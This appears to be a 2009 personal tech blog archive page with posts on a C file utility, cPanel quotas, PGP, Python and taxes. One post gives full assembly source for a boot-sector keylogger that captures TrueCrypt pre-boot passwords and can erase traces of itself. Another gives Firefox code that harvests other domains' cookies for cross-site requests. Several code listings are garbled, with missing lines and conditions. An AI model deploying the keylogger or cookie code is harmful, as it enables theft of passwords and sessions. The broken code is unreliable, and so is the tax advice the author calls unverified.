Home Page
Archive > Posts > 2009 > All
Archive > Posts > 2009 > All

Warning: you do not have javascript enabled. This WILL cause layout glitches.

Useful little Unix like utility for command line

I needed a command line utility for Bash (for both Windows and Linux) that only outputs bytes between 2 points in a file to STDOUT. head and tail weren’t really cutting it so I figured I’d throw something together. Below is the source code for the result, which I call chunk (Windows Executable).

I compiled the file as c++, but it should be c99 compatible. The file has been tested as compilable for: GCC4 on Slackware, GCC3 on Red Hat, and GCC3 on MingW (Windows [WIN32 should be defined by the compiler]).

Chunk outputs bytes between 2 points in a file to STDOUT. The parameters are:
1) The file
2) The byte offset to start at (hex is supported like 0xA)
3) The number of bytes to output. If not given, the end of the file is assumed.

The source is as follows:
//Copyright 2009 by Dakusan (http://www.castledragmire.com/Copyright). Licensed under Dakusan License v2.0 (http://www.castledragmire.com/Misc/Software_Licenses/Dakusan_License_v2.0.php).
//See http://www.castledragmire.com/Posts/chunk for more information

#define __LARGE64_FILES
#include <stdio.h>
#include <stdlib.h> //strtoull

#ifdef WIN32 //STDOUT only needs to be set to binary mode in windows
	#include <io.h> //_setmode
	#include <fcntl.h> //_O_BINARY

typedef unsigned long long UINT64;
const UINT64 MaxSizeToRead=1024*1024*10; //The maximum number of bytes to read at a time to our buffer (Must be < 2^31)

UINT64 GetNumberFromString(const char* S) //Extract both hexidecimal and decimal numbers from a string
	bool IsHex=S[0]=='0' && (S[1]|32=='x'); //If string starts as 0x, then is a hex number
	return strtoull(S+(IsHex ? 2 : 0), NULL, IsHex ? 16 : 10); //Hex number starts after 2 characters and uses base 16

int main(int argc, char *argv[], char *envp[])
	//Determine if proper number of parameters are passed, and if not, output help info
	if(argc!=3 && argc!=4)
		return fprintf(stderr, "Chunk outputs bytes between 2 points in a file to STDOUT. The parameters are:\n1) The file\n2) The byte offset to start at (hex is supported like 0xA)\n3) The number of bytes to output. If not given, the end of the file is assumed.\n") & 0;

	//Open the file and get its length
	FILE *TheFile=fopen64(argv[1], "rb");
		return fprintf(stderr, "File not found or cannot open file\n") & 0;
	fseeko64(TheFile, 0, SEEK_END); //Get the length by seeking to the end
	UINT64 FileSize=ftello64(TheFile);

	//Determine the requested start offset
	UINT64 Offset=GetNumberFromString(argv[2]), SizeToOutput;
		fprintf(stderr, "Offset is larger than file's size\n");
		return 0;

	//Determine the size to read
	if(argc==3) //If no final parameter, read to the end of the file
	else //Determine from the 3rd parameter
			fprintf(stderr, "Requested size is larger than the file, truncating to end of file\n");
		else if(!SizeToOutput) //If nothing to output, exit prematurely
			return 1;

	//Output requested data 10MB at a time from the file to STDOUT
	char *Buffer=new char[SizeToOutput>MaxSizeToRead ? MaxSizeToRead : SizeToOutput]; //Only allocate as many bytes to our read buffer as is necessary
	fseeko64(TheFile, Offset, SEEK_SET); //Seek to the beginning read offset of our file
	#ifdef WIN32 //STDOUT only needs to be set to binary mode in windows
		_setmode(_fileno(stdout), _O_BINARY);
	while(SizeToOutput) //Keep reading and outputting until requested data is complete
		UINT64 SizeToRead=SizeToOutput>MaxSizeToRead ? MaxSizeToRead : SizeToOutput; //Number of bytes to read and write
		fread(Buffer, SizeToRead, 1, TheFile); //Read the data
		fwrite(Buffer, SizeToRead, 1, stdout); //Write the data to STDOUT
		SizeToOutput-=SizeToRead; //Decrease number of bytes we still need to read

	delete[] Buffer;
	return 1;
cPanel Hard Linked VirtFS Causing Quota Problems
Quota problems are annoying and expensive to debug :-\

For a really long time I’ve seen many cPanel servers have improper space reporting and quota problems due to the VirtFS system, which is used for the “jailshell” login for users (if a user logs into SSH [or presumably Telnet] whom has their shell set to “/usr/local/cpanel/bin/jailshell” in “/etc/passwd”). Whenever a user logs into their jailshell, it creates a virtual directory structure to chroot them into, and “hard links” their home directory inside this virtfs directory, which doubles their apparent hard disk usage from their home directory (does not include their sql files, for example). Sometimes, the virtfs directory is not unmounted (presumably if the user does not log out correctly, which I have not confirmed), so the doubled hard disk usage is permanent, causing them to go over their quota if a full quota update is ran.

I had given this up as a lost cause a while back, because all the information I could find on the Internet said to just leave it alone and not worry about it, and that it couldn’t be fixed. I picked the problem back up today when one of our servers decided to do a quota check update and a bunch of accounts went over. It seems a script was added recently at “/scripts/clear_orphaned_virtfs_mounts” that fixes the problem :-) (not sure when it was added, but the creation, modification, and access times for the files on all 3 of my cPanel servers shows as today...). Surprisingly, I could not find this file documented or mentioned anywhere on the Internet, and still no mentions anywhere on how to fix this problem.

So the simplest way to fix the problem is to run
/scripts/clear_orphaned_virtfs_mounts --clearall
I did some digging and found that that script calls the function “clean_user_virtfs” in “/scripts/cPScript/Filesys/Virtfs”, so you can just clear one user directory “properly” by running
cd /scripts
perl -e 'use cPScript::Filesys::Virtfs();cPScript::Filesys::Virtfs::clean_user_virtfs("ACCOUNTNAME");'
All this script really does is unmount the home directory inside the jailed failed system (so the hard link is done through a “mount” that doesn’t show up in “df”... interesting). So the problem can also be fixed by
umount -f /home/virtfs/USERNAME/home/USERNAME

After this is done, a simple
can be used to set the users’ quotas back to what they should be. Do note that this operation goes through every file on the file system to count users’ disk usages.
Finally gave in and signed up

So I recently finally went ahead and got onto the Facebook bandwagon because people kept bugging me about it ;-) (among other reasons), of which I had been trying to stay away from since 2003 when Facebook didn’t allow me to register after I lost my college email due to dropping out.

While it is a nice open system with lots of things to do and some fine grained control, it has a lot to be left desired. While the privacy controls is kind of OK, it could be much much more fine tuned (and the most recent privacy update barely helped that out, if not making things worse).

The thing that has frustrated me the most though is trying to make my own Facebook applications. The documentation and its organization is TERRIBLE (often outdated), and there are so many functions the API just won’t let you do (a lot of stuff with photos, for example). The FQL (Facebook Query Language, like SQL) language doesn’t even let you do updates/inserts of information, just gathering of information (SELECT statements). One part that really pushed me over the edge on the decision to not work with it however is that it looks like it’s constantly being updated and “refined”, with aspects being added or depreciated so often, that it’s just not worth dealing with (though I have to admit I haven’t worked with it long at all, so don’t really have a good sampling ^_^; ). It’s no fun making an application and then having to reprogram it months later just because Facebook can’t get their act together. While reprogramming wouldn’t be a big deal, most likely, I have a thing about going back to old code and updating it unless I did something wrong or want to add a new feature.

While I would still recommend the site to people on general principal (not that everyone isn’t already on it), as it is nicely laid out with most things people need to stay in touch, it’s still not nearly as refined as it should be for the sheer user-base size and scope of the website.

Cross Domain AJAX Requests
Bypassing the pesky browser security model

Since I just released my AJAX Library, I thought I’d post a useful script that uses it. The function CrossDomainGetURL below uses the AJAX Library to make requests across domains in Firefox. It takes one more parameter (not in order) than the AJAX Library's GetURL function, which is an array of domains to pull cookies from for the AJAX request.

function GetCookiesFromURL(Domains) //Return all the cookies for Domains specified in the Domains array
	var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"].getService(Components.interfaces.nsICookieManager); //Requires privileges, which is granted in CrossDomainGetURL
	var iter=cookieManager.enumerator, CookieList=[], cookie; //The object used to find all cookies, the final list of cookies, and a temporary object
	while(iter.hasMoreElements()) //Loop through all cookies
		if(((cookie=iter.getNext()) instanceof Components.interfaces.nsICookie) && Domains.indexOf(cookie.host)!=-1) //If a cookie whose host matches one of our domains
			CookieList.push(cookie.name+'='+cookie.value); //Add it to our final list
	return CookieList.join("; "); //Return the cookie list for the specified domains

function CrossDomainGetURL(URL, Data, CookieDomains, ExtraOptions) //See AJAX Library GetURL function. CookieDomains is an array specifying what domains cookies are pulled from for the AJAX call. 
	//Access universal privileges in Firefox (Required to get cookies for other domains, and to use AJAX with other domains). This functionality is lost as soon as this function loses scope.
	try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); }
	catch(e) { return alert('Cannot access browser privileges'); }

	if(CookieDomains instanceof Array) //If an array of domains is passed to get cookies from...
		ExtraOptions=((ExtraOptions instanceof Object) ? ExtraOptions : {}); //Make sure extra options is an object
		ExtraOptions.AdditionalHeaders=((ExtraOptions.AdditionalHeaders instanceof Object) ? ExtraOptions.AdditionalHeaders : {}); //Make sure extra options has an additional headers object
		ExtraOptions.AdditionalHeaders.Cookie=GetCookiesFromURL(CookieDomains); //Get cookies for the domains
	return GetURL(URL, Data, ExtraOptions); //Do the AJAX Call
Welcome everyone!
It’s about time too

I’ve been working on this site for a long time and had been planning on announcing it to my friends and family since its inception. Unfortunately, I always felt it just wasn’t ready yet, so I never got around to it.

The site has now been going for a few years with over 250 pages of content and downloads available for about half of my projects. I have also recently (finally) gotten up the commenting system, forums, and searching the site, so I feel the time is ripe to let everyone know about it that might be interested :-).

Welcome all and hope you enjoy!

BIOS Level Key Logger
More Boot Loader Fun

So I decided to play around more with boot loaders for a bit of fun and learning. I couldn’t come up with a good project to do, so I defaulted on writing a proof of concept for a TrueCrypt pre-boot authenticated volume key logger (again, see my last Boot Loaders post for more information).

Unfortunately, the key logger stops working once XP boots, and I’m not completely sure why yet. [reason]I think it has to do something with Windows using an Interrupt Descriptor Table instead of the Interrupt Vector Table, or overwriting the Interrupt Vector Table entry without calling the previous value. I may try and get it working for Windows (or any operating system) later, but I accomplished what I wanted to with this, so am not going to worry about it for now.

This is also just a proof of concept, so it isn’t full proof. It only records the first 512 keystrokes before Windows loads, and it also might not be easy to install without some knowledge of how it works.

I am providing an example installer in Perl which writes to a VMWare hard drive. It can easily be modify though to install to a real hard drive using either a boot loader, or when running Windows through CreateFile with the hard drive (requires administrative privileges).

Installing works as follows:
  • Copies the original boot loader sector (#0 of a hard drive) to an unused sector (In this case, #61 of the hard drive, which is the last unused sector by Truecrypt [Sector 62 contains the encryption key, and sector 63 is the first partition table] ).
  • Installs the compiled code to the boot loader sector.

Once installed, the key logger (v1.0 source) [v1.0 compiled binary] boot loader works as follows:
  • When the computer boots to the medium (hard drive, flash drive, CD, etc) with the installed code, it immediately runs the key logger installer.
  • It first copies itself from the boot loader location in memory (0x7C00) to a new location, and the original boot loader is loaded into the boot memory location to be run later, unaware that it wasn’t the first thing to load.
  • If requested (this is an option set by a variable), the key logger installer removes itself from the hard drive, erasing evidence of it ever being there. This means the key logger will only run from memory after the first time the machine is booted. This is not turned on by default.
  • It then installs a BIOS interrupt hook on the keyboard interrupt (0x9) to call the key logger.
  • The final step is to execute the original boot loader which is now at the boot loader location in memory.

The key logger works as follows:
  • When a key is pressed, the key logger code is called.
  • It first calls the original interrupt 0x9 keyboard handling code.
  • It then gets the last pressed key(s) from the bios keyboard buffer and saves them to the key logger save buffer (either as their ASCII character, or as their key code).
  • The save buffer is then written to a predefined location on the hard drive before the interrupt is returned as completed.
  • Currently, the key logger only records up to 512 keystrokes to a single hard drive sector.

The assembly code for the key logger is as follows:
;Copyright 2009 by Dakusan (http://www.castledragmire.com/Copyright)
;This is a boot loader keylogger (does not work once Windows XP loads)
;See http://www.castledragmire.com/Posts/BIOS_Level_Key_Logger for more information

ORG 0x7C00 ;Origin location

Start:					;Where the program starts (0x7C00)
SectorSize equ 0x200		;Size of a sector (and the boot loader)

;User defined constants
	;Memory mappings
	NewStart equ Start+SectorSize				;Where the boot loader will be copied to in memory for execution
	WhereToRecord equ Start+SectorSize*2 	;Where to record key strokes in memory (the save buffer)

	;Hard drive mappings
	WriteSector equ 60				;The hard drive sector to write the last logged 512 keys too. Needs to be <63. This can be the same as "OriginalBootLoaderSector" if "EraseEvidence" is true
	OriginalBootLoaderSector equ 61	;The hard drive sector the original boot loader is written to
	EraseEvidence equ 0				;Boolean dictating whether to restore the original boot loader and clear out where it was copied

;More constants
CodeOffset equ NewStart-Start		;The code is actually offset this amount when copied to the new memory location

;Set up needed segment registers to point to 0
xor ax,ax
mov ds,ax
mov es,ax

;Copy this loaded boot loader to new location in memory and execute there
mov cx,SectorSize
mov si,Start
mov di,NewStart
rep movsb
db 0xe9								;Jump to...
dw CodeOffset						;...Location where code is moved to

;Copy the original boot loader from the hard drive back to the boot address in memory
mov ah,2							;Read instruction
mov dl,0x80							;Drive #0 (0x80-x)
mov al,1								;1 sector
xor dh,dh							;Head #0
xor ch,ch							;Track #0
mov cl,OriginalBootLoaderSector+1	;Sector to read from
mov bx,Start							;Memory location to write to
int 0x13								;BIOS drive function

;Zero out the save buffer
mov cx,SectorSize
mov di,WhereToRecord
xor al,al
rep stosb

;Erase this boot loader if requested by returning the hard drive's boot loader to its original state and clearing out its copy at OriginalBootLoaderSector
or al,EraseEvidence					;Check to see if user wants to erase the evidence (al=0 before this operation)
jz SkipEraseEvidence					;If false, do not do so
mov bx,Start							;The buffer to write (which is now the original boot loader)
mov cl,0+1							;Write to the first sector
call WriteToDrive						;Do the write to restore the original boot loader
mov bx,WhereToRecord				;The save buffer, which is zeroed out
mov cl,OriginalBootLoaderSector+1	;Write to where the original boot loader was stored
call WriteToDrive						;Do the write to erase the backup of the original boot loader

;Hook the keyboard interrupt
cli												;Disable interrupts
mov eax, [es:0x9*4]								;Grab the origial handler. Source=IDT::INT9. From Wikipedia: The IDT [Interrupt descriptor (Vector) table] "resides at a fixed location in memory from address 0x0000 to 0x03ff, and consists of 256 four-byte real mode pointers"
mov [es:OriginalInt9Handler+CodeOffset], eax		;And save it for later use
mov dword [es:0x9*4], Int9Hook+CodeOffset		;Install INT 9 filter
sti												;Enable interrupts

;An infinite test loop that will output typed characters to the screen, and never go to the original boot loader
;mov ah,0
;int 0x16
;mov ah,0xe ;Write ascii character to screen
;int 0x10
;cmp al,0xA
;jne GetKeys

;Execute the original boot loader
db 0xe9									;Jump to...
dw -CodeOffset-($-Start)-2				;...Original start, which now contains the original boot loader

;Keyboard hook
	pushf								;Since the original int handler will call iret, we need to push an extra layer of interrupt info on the stack
		OriginalInt9Handler dd 0			;The original Interrupt 9 handler (in segment:offset format [ror 16])

	;Save registers and zero out es
	xor bx,bx
	mov es,bx

	;Get the character we are currently on in the save buffer, and if >512, do not record
	mov di,[es:CharacterOn+CodeOffset]	;di=The character we are currently on
	cmp di,512
	jge SkipInt9

	;Loop through the keyboard buffer
	mov esi,[es:0x41A]					;40:1A=Offset from 40:00 to keyboard buffer head, 40:1C=Offset from 40:00 to keyboard buffer tail
	add esi,0x04000400					;Beginning and end +=0x400, si=keyboard buffer head
	mov ecx,esi
	shr ecx,16							;cx=keyboard buffer tail
	mov bx,0x41E						;bx=The beginning of the keyboard buffer
	cmp si,cx							;Check if there are no characters to write (head==tail)
	je SkipInt9							;If there are no keys to write, jump to end
	WriteKey:							;Save a single keyboard character to our save buffer.
		;Save the character
		mov al,[es:si]					;Fetch the character, use es:si+1 to save the scancode instead
		mov [es:di+WhereToRecord],al	;Save the character
		;Update where we are in the save buffer and make sure we are not at the end (>512)
		inc di							;Update where we are in the buffer
		cmp di,512
		jge FinishedKeyboardBuffer

		;Move to the next character in the keyboard buffer and if we are not at the end, write the next character
		add si,2							;Move to the next character in the keyboard buffer
		cmp si,0x43E					;If we have exceeded the keyboad buffer length...
		cmovge si,bx						;...loop back to the beginning
		cmp si,cx						;If there are still more characters to write (head<tail)
		jl WriteKey						;Write the next character

	mov [es:CharacterOn+CodeOffset],di	;Update where we are in the save buffer

	;Write the updated keylogger to the harddrive
	mov cl,WriteSector+1					;Sector to write to
	mov bx,WhereToRecord
	call WriteToDrive

	;Clean up from the interrupt

;Write to drive function. Parameters: es:bx=Buffer, cl:Sector to write
mov ah,3			;Write instruction
mov dl,0x80			;Drive #0 (0x80-x)
mov al,1				;1 sector
xor dh,dh			;Head #0
xor ch,ch			;Track #0
int 0x13				;BIOS drive function
ret					;Return from function

CharacterOn dw 0	;What character we are on in the character buffer

;Fill out up to 0x1BE, where the partition information starts, with 0s. This cleans up unused information
times 0x1BE-($-$$) db 0 ;Fill the rest with zeros
My New Boot Loader
Hijack it at the beginning

I have been a proponent and user of pre-boot authentication volume (hard drive) encryption for quite a while now, but there is one security hole in it that always bugged me. This is the fact that the boot loader (the code at the beginning [sector 0] of the hard drive that starts the computer [usually loads the operating system]) is unencrypted itself and can be tampered with. Even though the encrypted data is completely safe from reading without a password, the password itself could be hijacked from someone modifying the boot loader and having it record your password when you type it. This hack could also be made hard to detect because the original boot loader could be restored from the hijacked one after the damage is done.

I decided this was a moot point for a long time, until I saw it got slashdotted. This prompted me to finally change my security model slightly so I was no longer vulnerable to this problem. The appropriate method is to always use a known secure TrueCrypt rescue disk, which contains its own boot loader, to boot the hard drive. Unfortunately, CDs are a bit cumbersome to always keep around. The workaround for me was to use a bootable USB Flash Drive instead, as I keep it on my keychain which is always with me. Getting the TrueCrypt boot loader to work from the flash drive was not easy at all due to how bootable flash drives work (they take the hard drive #0 slot in BIOS, which Windows doesn’t like). It took some GRUB4DOS magic to get things going, but it all ended up working out :-).

I removed the TrueCrypt boot loader from my hard drive so I would not be tempted to use it, and would always use the flash drive. This left the boring message of “Error loading operating system” upon booting without the flash drive, which I just couldn’t stand, so I decided to have some fun writing my own “Operating System Not Found” boot loader :-).

Video Notes:
  • It’s a lot harder to spot the hidden text string from the video than from the actual thing x.x;
  • The boot loader was ran through a virtual machine (VMWare) so I could easily record it.

Here is the code for the boot loader (in assembly), and here is the compiled boot loader which can be placed in the boot sector of any bootable medium (Hard Drive, USB Flash, CD, etc).


Do not attempt to replace the boot loader on your hard drive without knowing what you are doing, as this is a very dangerous operation that can make your computer unbootable. Always back up your boot loader before making modifications to it so you can easily restore it. Also, when writing a boot loader, do not overwrite bytes 0x1BE-0x1FD of your boot sector as they contain important partition information.

Useful Wikipedia references: INT 10 (BIOS interrupt call for video services), BIOS Color Attributes
Executable Stubs
Win32 Executable Hacking

Executable stubs can be used by a compiler to create the header section (the beginning section) of an outputted executable by adding the “/stub” switch to the linker.

#pragma comment(linker, "/stub:Stub.exe")

The MSDN Library for MSVC6 has the following to say about it:

The MS-DOS Stub File Name (/STUB:filename) option attaches an MS-DOS stub program to a Win32 program.

A stub program is invoked if the file is executed in MS-DOS. It usually displays an appropriate message; however, any valid MS-DOS application can be a stub program.

Specify a filename for the stub program after a colon (:) on the command line. The linker checks filename to be sure that it is a valid MS-DOS executable file, and issues an error message if the file is not valid. The program must be an .EXE file; a .COM file is invalid for a stub program.

If this option is not used, the linker attaches a default stub program that issues the following message:
This program cannot be run in MS-DOS mode.

For the stub to work in XP, the following guidelines must be met:
  • The stub should be at least 64 bytes long
  • The first 2 bytes of the stub (Bytes 0-1) need to be “MZ”
  • Bytes 60-63 (4 bytes) are replaced by the compiler (I have a note that you might want to set this to 0x60000000 [big endian] for some reason)

As long as these guidelines are met, the rest of the stub can be whatever you want :-). For Small Projects, you can even put information here like strings for the executable, which are accessible through the executable virtual address space starting at 0x400000.
PGP for Thunderbird in Windows
Securing your communications is important

I have been using and recommending Thawte’s free SMIME email certificates for a number of years. Personal email certificates have always been a bit more attractive for me than PGP for communicating securely with other [not always very computer literate] people since they are directly integrated into most [if not all] email clients.

It’s always been nice to be able to sign an email to another person with my certificate, and just tell them to hit the “encrypt” button next time they send me something either of us want encrypted :-) (email clients automatically store a certificate after receiving it, which signing includes).

Thawte has been my choice for SMIME certificates because they issue them for free, and it’s not something that’s really worth paying for. There are other services out there that do the same kind of thing for free, but Thawte is a large name I trust. Unfortunately, Thawte recently announced that they are closing down their free email certificate program.

I have been using PGP for a few years to communicate with multiple people too, and have decided to try and move all my friends/clients over to it too due to the circumstances. Also, PGP has the major advantage of you creating your own private keys instead of a 3rd party (i.e. Thawte) doing it, meaning only you have the key to access emails encrypted to you.

So anywho, here’s the info on getting PGP set up with Thunderbird in Windows for anyone that needs it.

  • First, of course, you’ll need Thunderbird, which can be downloaded here.
  • I recommend you always send all your emails in both HTML and Plain Text, so you can have rich text formatting in your emails by default, but lame people that don’t have clients that read HTML are ok too. To do this, go to Menu > Tools > Options > Composition > General > Send Options > In the top box change it to “Send the message in both plain text and HTML”.
  • Next, you need to install PGP. I recommend using GnuPG (windows version).
  • When you run GnuPG for the first time, it’ll ask you if you want to generate a key, which you’ll want to do, unless you already have one made that you need to import.
  • Next, you’ll want to install Enigmail for Thunderbird. After downloaded it, in Thunderbird, go to Menu > Tools > Add-ons > Extensions > Install, and open the .xpi file.
  • After Thunderbird restarts, go to Menu > OpenPGP > Setup Wizard and step through it. During this setup, I personally suggest changing the following default options:
    • “Do you want to change a few default settings...” > Yes > Details > Uncheck the following
      • Disable flowed text
      • View message body as plain text
      • Use 8-bit encoding for message sending
      • Do not compose HTML message
  • To encrypt mail to other people, or verify a signed message from them, you need their public key file. Some of the ways they can send their public key to you are as follows:
    • A normal file send, in which case you will need to import it through GnuPG.
    • You might also be able to retrieve it from a public key server if they put it there, but I am not going to go into that.
    • If they send it to you through an attachment in an email, and you double click on it in Thunderbird, you will receive a prompt asking if you’d like to import the key.
  • To encrypt an email to another person, after having their public key, simple go to Menu > OpenPGP > Encrypt Message in the compose window. Make sure to also check Menu > OpenPGP > Use PGP/MIME for This Message so it can send the HTML!
  • To send your public key to someone go to Menu > OpenPGP > Attach My Public Key in the compose window.
Google Search API Failure
Google Search failed me again

I am once again disappointed by Google Search functionality, which has hindered my implementation of proper searching on this site :-(. (See relevant update).

The Google Search API returns a vastly stripped result set compared to using actual Google Search. I have checked and done a bit of research and have not found a good reason for this. And, no, it has nothing to do with local or personalized searches, which has been confirmed by using searches without any kind of cookies or localizations.

My guess is that the Google Search API and normal Google Search itself are just tapping into different result sets from the start :-(.

An example of this problem is as follows: Searching for “Fractal” in the Projects section returns the following results:

At some point I’ll probably have to find another site search solution for this reason, blegh. :-\

Python Pros and Cons
Just another language
I am a bit disappointed in Python after this project for many reasons:
  • Windows support is lacking. The PyWin32 helps fill this gap, but it itself is missing many API calls, doesn’t support Unicode (from what I can find), and has next to no documentation (besides samples).
  • Starting with Python 2.6, executables are compiled differently and include manifests, which cause some major annoying (and quite undocumented) problems with DLLs that are very unintuitive to fix. I ended up including a manifest and DLL from the “windows/system32” directory in the distribution to fix this.
  • Interfacing with (C style) shared objects (Windows DLLs and probably Unix Shared Objects) is clunky, especially when structures are involved.
  • Documentation on many of the standard Python modules is very lacking. After having recently learned Perl, and dealing with its wonderful documentation, this is a bit disappointing. I might be missing something through, because Python is supposed to be able to naturally document itself through comments after function headers...
  • While inheritance and classes themselves are implemented well, I find the way JavaScript does classes (objects) much easier to work with and more robust. It’s great being able to access any object/class element as both a member “Object.MemberName” or an index “Object['MemberName']”. This also, I think, has a lot to do with the fact that Python is [dynamically] typed, which is wonderful. But from the way the language seems to work (I would need to do more testing), this kind of thing seems like it could easily be implemented. I really just don’t like how lists, dictionaries, and classes are so separated. It’s much more useful how both PHP and JavaScript combine them into one concept.
  • Even if the language is dynamically typed to help catch errors more naturally, there are other things in the language that can make errors harder to catch, like how variable lookup is done through the whole function stack instead of just at a global and local level.
  • I find the separation of tuples and lists unneeded. Perl does it more naturally, and in one concept, through dereferencing arrays into lists.

There are many great ideas and implementations in the language though that are wonderful to work with including:
  • Parameters can be passed, at the same time, through both named parameters and a list of parameters, and can then be retrieved as parameters, lists, and dictionaries.
  • Unicode support for [probably] all encodings is natively supported. Strings are very easy to work with, even as ASCII. The best part is Python3 (which I have not tinkered with yet) reportedly improved the implementations even more by separating strings into always-Unicode, and binary data (instead of thinking of it as ASCII).
  • As mentioned above, it is a [dynamically] typed language, which is great for larger projects.
  • Different number types (floats, ints, unsigned ints, large numbers, etc) work naturally together and extend as they need to. While this gives the language a hit on speed, it does make it very usable.
Directory Difference in Web Browser
Another quick and dirty solution

Since my FileSync Project is still a long way to being where I want it to be and is in a state that makes it annoying to use, I decided to throw together a script that essentially emulates the primary functions of it for what I need. I find it a bit annoying that I’ve never been able to find another good project that does exactly what I want for quick syncing of files over networks :-\. I used to think rsync would be a good solution for it but it’s very... quirky and unstable in certain ways. Not as flexible as I would like. Alas.

Anywho, this PHP script takes 2 file lists and gives you back their differences in a directory tree view. Each file has a data string after it used to tell if the files are different. The data string can be anything you want, but will usually probably be a timestamp or data checksum. The tree view lets you hide files/directories depending on whether each item is only on one side, different, or the same. An example is as follows (List1, List2):

Dir1.txt filesData String (Timestamps)
Same.txt9999-99-99 99:99:99
Diff.txt9999-99-99 99:99:99
LeftOnly.txt9999-99-99 99:99:99
PartialDir/Same.txt9999-99-99 99:99:99
PartialDir/Diff.txt9999-99-99 99:99:99
PartialDir/LeftOnly.txt9999-99-99 99:99:99
SameDir/Same.txt9999-99-99 99:99:99
LeftOnlyDir/Left.txt9999-99-99 99:99:99
LeftOnlyDir/Left2.txt9999-99-99 99:99:99
DiffDir/Diff.txt9999-99-99 99:99:99
Dir2.txt filesData String (Timestamps)
Same.txt9999-99-99 99:99:99
Diff.txt1111-11-11 11:11:11
RightOnly.txt9999-99-99 99:99:99
PartialDir/Same.txt9999-99-99 99:99:99
PartialDir/Diff.txt1111-11-11 11:11:11
PartialDir/RightOnly.txt9999-99-99 99:99:99
SameDir/Same.txt9999-99-99 99:99:99
RightOnlyDir/Right.txt9999-99-99 99:99:99
DiffDir/Diff.txt1111-11-11 11:11:11

Example Output:
  • Differences:
    • No differences detected
    • File is different, or directory contains differences
    • File is only found on left side, when this happens to a directory, it is only counted as 1 difference
    • File is only found on right side, when this happens to a directory, it is only counted as 1 difference
  • Type:
    • This is a directory with sub items. After the directory name, it lists as info the number of differences over the total number of sub items
    • This is a file. If both sides contain the file but are different, it lists as info the different strings
  • Info about the file/directory listed in between parenthesis.
Left Side: ./Dir1.txt
Right Side: ./Dir2.txt
Total Differences: 9
Total Items: 13
  • DiffDir (1/1)
    • Diff.txt (9999-99-99 99:99:99 :: 1111-11-11 11:11:11)
  • LeftOnlyDir (1/2)
    • Left.txt
    • Left2.txt
  • PartialDir (3/4)
    • Diff.txt (9999-99-99 99:99:99 :: 1111-11-11 11:11:11)
    • LeftOnly.txt
    • RightOnly.txt
    • Same.txt
  • RightOnlyDir (1/1)
    • Right.txt
  • SameDir (0/1)
    • Same.txt
  • Diff.txt (9999-99-99 99:99:99 :: 1111-11-11 11:11:11)
  • LeftOnly.txt
  • RightOnly.txt
  • Same.txt

Some example bash commands used to create file lists:
  • Output all files and their timestamps to “Dir1.txt”: find -type f -printf '%P\t%T+\n' > Dir1.txt
  • Output all files and their md5sums to “Dir1.txt”: find -type f -print0 | xargs -0 md5sum | perl -pe 's/^(.*?) (.*)$/$2\t$1/g' > Dir1.txt
256th Page
Nothing to see here
This post marks my 256th page of content on this website, yay, go me :-). That’s it... nothing else to report...
Quickbooks Pro Activation Failure
Intuit has lost a customer (and hopefully more than one)

I acquired a copy of Quickbooks Pro 2003 [in 2003] that I have used for accounting since. I have never seen a reason to upgrade because the interface works just fine, and it does everything I need it to. Every time I have had to reinstall it after a format, though, getting it working has been more of a pain.

To install and use the copy of Quickbooks, Intuit (the company that makes Quickbooks and Turbotax) requires a serial key, and then activation via either online or the phone. I used the online activation for at least a year, until it stopped working. After that point, I had to call in whenever I needed to install it, talk to a representative in [most likely] India who can barely speak English, give them my serial number, and get back an activation key.

Most unfortunately, this last time I attempted calling in to activate it they claimed (in what somewhat resembled the English language) my serial key was no longer on file, so I could no longer use my product. Fuck them. I was able to find the information I needed in the registry (of which I make backup copies before formats) of my old computer. I just transferred everything from “HKEY_LOCAL_MACHINE\SOFTWARE\Intuit\QuickBooksRegistration\12.0\pro” to my current registry, and everything worked like a charm.

I was also quite upset after buying TurboTax last year (Home & Business Edition, which isn’t exactly cheap) that I could only use it for 1 year.

Because of both of these incidents, I will never again buy an Intuit product, and I hope no one else who reads this does either.

Alamo Draft House Schedule List
Simple information reorganization example

After discovering the Alamo Draft House’s coolness a few months ago, I’ve been trying to watch what they’re playing to make sure I catch anything I might want to see on the big screen. Unfortunately, it is not easy to get a good quick idea of all the movies playing from their calendar because it shows movies per day with showtimes, making the list repetitive and crowded with extra information.

I decided to throw together a real quick PHP script that would parse their data so I could organize it however I wanted. The final result can be viewed here. The code is as follows:

//The list of calendar pages in format TheaterName=>URL
	'South Lamar'=>'http://www.originalalamo.com/Calendar.aspx?l=4'

foreach($PagesToGrab as $Name => $URL) //Grab the movies for each theater
	print "<b>$Name</b><br>"; //Output the theater name
	$TheHTML=file_get_contents($URL); //Grab the HTML
	$ShowList=Array(); //This will contain the final list of shows and what days they are on
	preg_match_all('/<td class="day">.*?<\/td>/', $TheHTML, $DayMatches); //Extract all table cells containing a day's info
	foreach($DayMatches[0] as $DayInfo) //Loop over each day's info
		//Determine the day of month
		preg_match('/<a class=\"daynumber\" title=".*?, (.*?),/', $DayInfo, $DayOfMonth);
		//Determine all the shows for the day
		preg_match_all('/<span class="show"><a href=".*?">(.*?)<\/a>/', $DayInfo, $AllShows);
		foreach($AllShows[1] as $Show)
			$Show=preg_replace('/^\s+|\s+$/', '', $Show); //Remove start and end of line whitespace
			if(!isset($ShowList[$Show])) //If show has not yet been added to overall list, add it
			$ShowList[$Show][]=$DayOfMonth; //Add this day as a time for the show
	//Output the shows and their days
	print '<table>';
	foreach($ShowList as $ShowName => $Days)
		print "<tr><td>$ShowName</td><td>".implode(', ', $Days).'</td></tr>';
	print '</table><br><br>';
<? PageFooter(); ?>
Quarterly Estimated Taxes
Does anything exist that is more convoluted?

As an independent contractor, I have to pay quarterly estimated taxes like any normal business. I just found out however that “quarterly” taxes does not mean every 4 months. The dates quarterly estimated taxes are due are:

  1. (01/15) January 15th
  2. (04/15) April 15th
  3. (06/15) June 15th
  4. (09/15) September 15th

You may note that these are intervals of 3,2,3,4. If you make a late payment accidentally however, don’t fret. According to a recently contacted tax expert, if you make a payment 1 month late, and the next payment 1 month early, the government shouldn’t penalize you.

This tax expert also related that the amount you owe each year for estimated taxes (1/4 this number on each “quarterly payment”) is the LEAST of 2 different numbers:

  • The amount you paid the previous year
  • The amount you should owe this year

This means, unless you think you are going to make less during the current year than the previous (which you better be right about or you can be penalized) that you only have to pay estimates on what you paid in total for the previous year.

On a final note, I am not an expert in the tax law field. As a matter of fact, I know next to nothing. This is just information that was relayed to me that I thought I should pass on. I have not fully researched it, so do not take this information for fact.

Picture of me at work
Everywhere I work is like a cave

